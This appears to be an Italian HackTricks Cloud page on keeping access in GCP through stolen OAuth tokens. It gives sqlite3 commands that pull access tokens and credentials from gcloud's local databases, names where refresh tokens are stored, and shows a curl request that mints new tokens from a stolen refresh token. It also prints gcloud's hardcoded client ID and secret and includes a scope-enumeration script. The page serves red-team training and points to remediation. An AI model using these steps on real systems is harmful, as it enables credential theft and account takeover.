GCP - Persistenza del Token
Reading time: 6 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Token Utente Autenticato
Per ottenere il token attuale di un utente puoi eseguire:
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
Controlla in questa pagina come utilizzare direttamente questo token usando gcloud:
Per ottenere i dettagli per generare un nuovo token di accesso esegui:
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
È anche possibile trovare i refresh token in $HOME/.config/gcloud/application_default_credentials.json
e in $HOME/.config/gcloud/legacy_credentials/*/adc.json
.
Per ottenere un nuovo access token aggiornato con il refresh token, client ID e client secret eseguire:
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
La validità dei token di aggiornamento può essere gestita in Admin > Security > Google Cloud session control, e per impostazione predefinita è impostata su 16h anche se può essere impostata per non scadere:
.png)
Auth flow
Il flusso di autenticazione quando si utilizza qualcosa come gcloud auth login
aprirà un prompt nel browser e dopo aver accettato tutti gli ambiti, il browser invierà una richiesta come questa alla porta http aperta dallo strumento:
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
Poi, gcloud utilizzerà lo stato e il codice con un client_id
hardcoded (32555940559.apps.googleusercontent.com
) e client_secret
(ZmssLNjJy2998hD4CTg2ejr2
) per ottenere i dati finali del refresh token.
caution
Nota che la comunicazione con localhost avviene in HTTP, quindi è possibile intercettare i dati per ottenere un refresh token, tuttavia questi dati sono validi solo 1 volta, quindi sarebbe inutile, è più facile semplicemente leggere il refresh token dal file.
OAuth Scopes
Puoi trovare tutti gli scope di Google in https://developers.google.com/identity/protocols/oauth2/scopes o ottenerli eseguendo:
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
È possibile vedere quali ambiti l'applicazione che gcloud
utilizza per autenticarsi può supportare con questo script:
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
Dopo averlo eseguito, è stato verificato che questa app supporta questi ambiti:
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
è interessante vedere come questa app supporti l'drive
scope, che potrebbe consentire a un utente di escalare da GCP a Workspace se un attaccante riesce a costringere l'utente a generare un token con questo scope.
Controlla come abusare di questo qui.
Account di Servizio
Proprio come con gli utenti autenticati, se riesci a compromettere il file della chiave privata di un account di servizio sarai in grado di accedervi di solito per tutto il tempo che vuoi.
Tuttavia, se rubi il token OAuth di un account di servizio questo può essere ancora più interessante, perché, anche se per impostazione predefinita questi token sono utili solo per un'ora, se la vittima elimina la chiave API privata, il token OAuth sarà ancora valido fino alla scadenza.
Metadati
Ovviamente, finché sei all'interno di una macchina in esecuzione nell'ambiente GCP sarai in grado di accedere all'account di servizio associato a quella macchina contattando l'endpoint dei metadati (nota che i token OAuth a cui puoi accedere in questo endpoint sono solitamente limitati da scope).
Rimedi
Alcuni rimedi per queste tecniche sono spiegati in https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2
Riferimenti
- https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1
- https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.